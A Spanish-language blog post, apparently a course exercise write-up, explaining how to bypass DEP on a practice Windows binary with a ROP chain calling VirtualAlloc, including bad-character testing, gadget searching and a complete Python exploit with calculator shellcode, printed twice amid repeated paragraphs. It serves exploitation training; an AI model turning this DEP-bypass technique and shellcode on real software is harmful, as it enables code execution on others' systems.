Buenas a todos,
En esta entrada vamos a resolver el binario propuesto por el maestro con la protección DEP: Que previene de ejecutar el código que introducimos en el stack si se encuentra activada esta protección del binario.
Para ver si un binario tiene la protección DEP(Data execution prevention)activa, podemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:
Vemos que el primer bad carácter es : 0x0a, ya que en la dirección de memoria de buf se corta cuando llegamos a ese valor, por lo que repetimos el proceso eliminando ese carácter del payload y obtenemos así el resto de bad carácter como 0x1A
import sys
from subprocess import Popen, PIPE
import struct
import random
import string
#Tenemos el DEP activado en este ejemplo (no nos pormite la ejecucion en el stack de código.
#Generamos una cadena de hexadecimales para testear los badcharacters
import sys
for x in range(0,256):
sys.stdout.write("\\x" + '{:02x}'.format(x))
payload = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
shellcode_calc = b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x52\x13\x40\x00\xC3'
payload = shellcode_calc
payload += (1036 - len(shellcode_calc)) * b'\x00' #relleno con 0 para saltarnos el MemCopy
payload +=struct.pack('<I', 0x0040f2C6) #pop ecx, ret
payload +=struct.pack('<I', 0x00000000) #Asigna ecx = 0
payload +=struct.pack('<I', 0x00412130) #Mov edx, eax, xor eax,eax,and cl , 1F shl edx, cl ret
payload +=struct.pack('<I', 0x00402512) # mov edi, edx , ret
payload +=struct.pack('<I', 0x0040352D) # pop esi, ret
payload +=struct.pack('<I', 0x00413000) #IAT_address que apunta a la (direccion del VirtualAlloc)
payload +=struct.pack('<I', 0x00412649) #pop ebx , ret
payload +=struct.pack('<I', 0x00000000) #ebx = 0
payload +=struct.pack('<I', 0x004018A9) #Push edi, mov edi,[esi],test edi,edi, je XX, mov ecx, edi, call XX ,call edi, add esi, 4, cmp esi,ebx jb XXXX, pop edi, pop esi, pop ebx,ret
payload +=struct.pack('<I', 0x00000001) #dwsize
payload +=struct.pack('<I', 0x00001000) # flAllocationType = Commit
payload +=struct.pack('<I', 0x00000040) # Flprotect = +x
payload +=struct.pack('<I', 0x00000000) # edi = 0
payload +=struct.pack('<I', 0x0041A6A0) # Direccion de .data para meter en ESI para hacer valido el ultimo gadget donde hay que ecribir por eso cogemos una direccion de .idata valida
payload +=struct.pack('<I', 0x00000000) # ebx = 0
payload +=struct.pack('<I', 0x0041066F) # push esp , shl [esi+f], 56, ret
payload += shellcode_calc
payload += aniadimos_exit
#Hasta aqui
#Call esi --> Virtialalloc()
payload +=struct.pack('<I', 0x0041234A) # push esp, add esp + ebx + ret
#nopslep
p1 = Popen(r"C:\Users\juan\Desktop\PARTE 2-20200316T191208Z-001\PARTE 2\ABO1 32 y 64 DEP pass a\Release\ejercROPx32.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()
Un saludo y happy reversing en la siguiente entrada haremos un CTF con ROP para probar que tal tenemos el concepto asentado.
En esta entrada vamos a resolver el binario propuesto por el maestro con la protección DEP: Que previene de ejecutar el código que introducimos en el stack si se encuentra activada esta protección del binario.
Para ver si un binario tiene la protección DEP(Data execution prevention)activa, podemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:
Vemos que al ser un sistema operativo de x64, todos nuestros
procesos tiene el DEP habilitado por defecto, y hemos de comprobar también si
tiene alguna otra protección nuestro binario como el ASLR(Address Space Layout
Randomization), encargado de aleatorizar las direcciones de la memoria virtual
cuando nuestro binario es cargado en memoria virtual.
Vamos a ver todos los módulos que componen el binario
(Programa + librerias(dlls)) para ver si algún módulo no tiene ASLR.
En este caso, el módulo del programa principal no tiene ASLR, por lo que las direcciones en memoria virtual del binario serán las mismas:
En este caso, el módulo del programa principal no tiene ASLR, por lo que las direcciones en memoria virtual del binario serán las mismas:
Para comprobar esta protección hemos utilizado el "plugin" de x64dbg llamado checksec, que nos da infomación acerca del DEP, ASLR, SafeSEH entre otras protecciones.
Tal y
como nos dice @ricardo en su tutorial estas son las cosas que hay que
tener en cuenta para “ropear":
Tiene el proceso módulos que no tengan ASLR?
|
Sí
|
No
|
En este caso,
vemos que el módulo principal ya no tiene ASLR por lo que podremos buscar
gadgets en ese módulo.
|
Tiene en algún modulo que no tenga ASLR importada la función
VIrtualAlloc o VirtualProtect?
|
Sí
|
No
|
Sí, en nuestro
ejecutable hay una llamada a VirtualAlloc que reserva o asigna una
región de páginas del espacio de direcciones virtuales del proceso que la
invoca.
|
Están los datos ya ubicados en el stack para comenzar a ropear?
|
Sí
|
No
|
Vemos que hay una función
gets() que nos permitirá meter los datos en el stack.
|
Puedo pasar cualquier carácter o sea no hay caracteres inválidos o
hay pocos?
|
Sí
|
No
|
Hemos visto que
tenemos los bad-character 0x0A y 0x1A
|
Para ver si tenemos la función VirtualAlloc en
nuestro binario podemos hacer lo siguiente, haciendo “click” en Text Search,
si escribimos la función tendremos las referencias donde esa función aparece en
nuestro código. En la siguiente imagen mostramos como se ven:
Cuando buscamos en el ejecutable las referencias VirtualAlloc() en este caso los resultados son los siguientes:
En la
tercera pregunta, sobre si tenemos los datos ubicados en el stack, vemos que la
respuesta es sí. Al tener la función gets() y podemos introducir
parámetros directamente en el stack, en el caso de que no fuera así deberíamos
de usar ROP PIVOT (en la próximas entradas estoy seguro de que Ricardo
nos pondrá a prueba con alguno de esos xD).
Si nos vamos a IDA para ver en que función está la llamada a
gets() que vemos que esta justo debajo del VirtualAlloc(), y que la
variable que le pasamos al gets() es buf la cual se encuentre en la primera posición de
nuestro “Stack Frame”, por lo que podremos provocar un "overflow" y modificar los
valores de buf, zone, length y nada.
Para determinar los bad-characters, como hicimos en unos de
los primeros ejercicios “stacks”, vamos a generar una entrada por teclado desde 0x00 hasta
0xFF y vamos a ver si en algún momento la función gets() nos bloquea
alguno de los caracteres (dejando de leer).
Para ello creamos un script de Python y le pasamos como entrada al gets() la ristra completa de caracteres hexadecimales y comprobamos si se encuentran en memoria los valores introducidos.
Para ello creamos un script de Python y le pasamos como entrada al gets() la ristra completa de caracteres hexadecimales y comprobamos si se encuentran en memoria los valores introducidos.
Vemos que el primer bad carácter es : 0x0a, ya que en la dirección de memoria de buf se corta cuando llegamos a ese valor, por lo que repetimos el proceso eliminando ese carácter del payload y obtenemos así el resto de bad carácter como 0x1A
Vemos que nuestra sección del binario que no tiene ASLR que
es la sección .text (donde residen las instrucciones) se
encuentran entre las direcciones 0x00401000 y 0x00413000. Por lo tanto,
tendremos que considerar que los gadgets que obtengan en su dirección alguno de
los bad-carácter no podrán ser utilizados… (al menos de momento).
Una
vez que ya tenemos en cuenta estas consideraciones, podemos comenzar a armar
nuestro ROP, para la búsqueda de gadget podemos usar el programa rp-win,
que nos permite la búsqueda de gadget en nuestro programa.
La forma de utilizarlo es la siguiente, al ser una aplicación de terminal hay que indicarle:
La forma de utilizarlo es la siguiente, al ser una aplicación de terminal hay que indicarle:
- Ejecutable donde queremos buscar los gadgets: ejercROPx32.exe
- La arquitectura que deseamos buscar: x86
- El tamaño de los gadgets: 4
- El nombre donde lo vamos a guardar: resultados.txt
Ejemplo: rp-win-x86.exe --file= ejercROPx32.exe
--raw=x86 --rop=4 > resultados.txt
Esto almacena en el archivo de texto(resultados.txt) el
conjunto de gadget de tamaño 4, vamos a ver ahora que es lo que queremos hacer,
y buscar los gadgets necesarios dentro del archivo resultados.txt, donde
tendremos las instrucciones en ensamblador y su posición en el binario.
OJO à La dirección indicada por el programa, se trata del file offset (tamaño en disco) si queremos obtener la dirección virtual, podemos aplicar la fórmula que vimos en una entrada anterior, o buscando en ida en Jumps > jumps to file offset y podemos sacar la dirección virtual.
OJO à La dirección indicada por el programa, se trata del file offset (tamaño en disco) si queremos obtener la dirección virtual, podemos aplicar la fórmula que vimos en una entrada anterior, o buscando en ida en Jumps > jumps to file offset y podemos sacar la dirección virtual.
O aplicando la formula de :
Virtual Address = File offset - inicio de sección + dirección virtual base
Virtual Address = File offset - inicio de sección + dirección virtual base
Por poner un ejemplo: si queremos obtener la posicion en la memoria del file offset= 0x4dfc
Virtual
address = 0x4dfc – 0x400 + 0x401000 = 0x004059FC
La información del inicio de sección y el offset lo podemos sacar en IDA ,yéndonos a la primera instrucción de la sección .text, donde hay comentarios con esta información.
Una vez que tenemos todos los gadgets en el fichero de texto, extraídos a través de la herramienta, y con las direcciones file offset donde podemos obtener esas intrucciones del binario tal y como
podemos ver en la imagen siguiente:
Antes
de nada, vamos a recopilar lo que queremos hacer con nuestro exploit, y
recapitular así las cosas que vamos a necesitar hacer.
- Función
vulnerable gets() à Donde introducimos el payload y redireccionaremos a
nuestros gadget.
- Queremos ejecutar a la función VirtualAlloc para dar permisos de ejecución a la pila, para ello deberemos de llamar a la funcion con los cuatro parámetros correctos. Por lo tanto, tendremos que poner en el stack los valores que queramos usar en la función, quedando nuestra stack de la siguiente manera:
VirtualAlloc(lpAddress,0x1,0x1000,0x40)
Donde lpAddress, se encuentra en el registro eax, donde tenemos el comienzo de nuestro payload (la 1 shellcode), que es una dirección del stack, sino tuveramos el valor en eax, también podríamos sacar también una dirección del stack (usando esp o ebp) para utilizarlo. - Armamos nuestro ROP para conseguir la ejecución de
nuestra shellcode, para ello hemos utilizado los siguientes gadgets:
- Juntamos los 3 casos anteriores, para así construir nuestro exploit y poder ejecutar la calculadora en nuestro programa, la estructura en la pila será la siguiente:
- 1º parte del stack, overflow de gets() y controlar el flujo del programa + rellenamos con 0x00 para evitar así llamar a la función mem_copy (hay un salto condicional por si es igual 0x00 no ejecuta la función).
- 2ºparte, Creación de nuestro ROP para ejecutar la shellcode que escribiremos después en la pila
- 3ºparte, Shellcode que ejecuta nuestra calculadora y le hemos añadido un exit() ( instrucción que se encuentra en nuestro programa en la dirección 0x401352) para que nuestro programa funcione no crashee al ejecutar la calculadora.
Para terminar este sería el código en python para explotar el binario y poder así ejecutar la calculadora:
import sys
from subprocess import Popen, PIPE
import struct
import random
import string
#Tenemos el DEP activado en este ejemplo (no nos pormite la ejecucion en el stack de código.
#Generamos una cadena de hexadecimales para testear los badcharacters
import sys
for x in range(0,256):
sys.stdout.write("\\x" + '{:02x}'.format(x))
payload = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
shellcode_calc = b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x52\x13\x40\x00\xC3'
payload = shellcode_calc
payload += (1036 - len(shellcode_calc)) * b'\x00' #relleno con 0 para saltarnos el MemCopy
payload +=struct.pack('<I', 0x0040f2C6) #pop ecx, ret
payload +=struct.pack('<I', 0x00000000) #Asigna ecx = 0
payload +=struct.pack('<I', 0x00412130) #Mov edx, eax, xor eax,eax,and cl , 1F shl edx, cl ret
payload +=struct.pack('<I', 0x00402512) # mov edi, edx , ret
payload +=struct.pack('<I', 0x0040352D) # pop esi, ret
payload +=struct.pack('<I', 0x00413000) #IAT_address que apunta a la (direccion del VirtualAlloc)
payload +=struct.pack('<I', 0x00412649) #pop ebx , ret
payload +=struct.pack('<I', 0x00000000) #ebx = 0
payload +=struct.pack('<I', 0x004018A9) #Push edi, mov edi,[esi],test edi,edi, je XX, mov ecx, edi, call XX ,call edi, add esi, 4, cmp esi,ebx jb XXXX, pop edi, pop esi, pop ebx,ret
payload +=struct.pack('<I', 0x00000001) #dwsize
payload +=struct.pack('<I', 0x00001000) # flAllocationType = Commit
payload +=struct.pack('<I', 0x00000040) # Flprotect = +x
payload +=struct.pack('<I', 0x00000000) # edi = 0
payload +=struct.pack('<I', 0x0041A6A0) # Direccion de .data para meter en ESI para hacer valido el ultimo gadget donde hay que ecribir por eso cogemos una direccion de .idata valida
payload +=struct.pack('<I', 0x00000000) # ebx = 0
payload +=struct.pack('<I', 0x0041066F) # push esp , shl [esi+f], 56, ret
payload += shellcode_calc
payload += aniadimos_exit
#Hasta aqui
#Call esi --> Virtialalloc()
payload +=struct.pack('<I', 0x0041234A) # push esp, add esp + ebx + ret
#nopslep
p1 = Popen(r"C:\Users\juan\Desktop\PARTE 2-20200316T191208Z-001\PARTE 2\ABO1 32 y 64 DEP pass a\Release\ejercROPx32.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()
Un saludo y happy reversing en la siguiente entrada haremos un CTF con ROP para probar que tal tenemos el concepto asentado.
Comentarios
Publicar un comentario